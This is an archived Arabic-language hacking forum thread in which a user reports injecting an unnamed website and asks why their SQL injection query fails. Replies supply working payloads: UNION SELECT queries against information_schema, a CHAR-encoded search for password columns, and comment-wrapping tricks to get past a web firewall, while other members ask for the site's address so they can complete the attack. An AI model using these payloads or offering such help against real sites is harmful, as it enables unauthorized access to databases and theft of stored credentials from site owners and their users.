:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   الحقن جنني (http://www.vbspiders.com/vb/t61636.html)

ساعدوني 03-30-2012 03:48 PM
الحقن جنني
 
السلام عليكم ورحمة الله وبركاته

كيف الحال إن شاء الله بخير

المهم ماطول عليكم حقنت لي موقع وعرفت عدد الاعمده والاعمده المصابه والاصدار طلع 5

لكن يوم جيت اطبق الامر مكان العمود المصاب

concat(table_name,0x3a3a,column_name)

في اخر الحقنه

from+information_schema.columns+where%20column_nam e+like+CHAR(37, 112, 97, 115, 115, 37)


يطلع لي خطا ,؟

ايش المشكله اتمنى افادتي وشكرا ؟


ايش هيه ممكن الحلول لهذه المشكله جزاكم الله خير

AMINE-3d 03-30-2012 04:53 PM
رد: الحقن جنني
 
ورينا الموقع يا اخي

Dr.Unkn0wn 03-30-2012 04:53 PM
رد: الحقن جنني
 
أهلاً أخــي جرب هكذا
ضع أمر version() في مكان العمود المصاب
ثم ثع آخر الحقنة :
كود PHP:
from+information_schema.columns 
إذا لم يأتيك خطأ فأنت على صواب ..
بعدهـا إستبدل أمر إصدار القاعدة بـ
كود PHP:
concat(table_name,0x3a,column_name,0x3a,table_schema) 
و إذا لم يأتيك فوربدن أكمل الحقنة بـ
كود PHP:
where+column_name+LIKE+CHAR(37, 112, 97, 115, 37) 
بالتوفيق..

ملاحظة: لتخطي الفوربيدن ضع :
مثـال
كود PHP:
/*! concat*/
or
/**/cancat/**/
or
/*--*/cancat/*--*/ 

aircrack -ng 03-30-2012 06:35 PM
رد: الحقن جنني
 
مافيش كلمة pass
اعرض الجداول

مثلا

كود PHP:
site.com/index.php?sid=-1 union select 1,2,3,4,group_CONCAT(table_name),6,7+from+information_schema.tables 

Spire_Barde 03-31-2012 12:25 AM
رد: الحقن جنني
 
ضع رابط الموقع وان شاء الله نتم الحقن


الساعة الآن 12:20 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0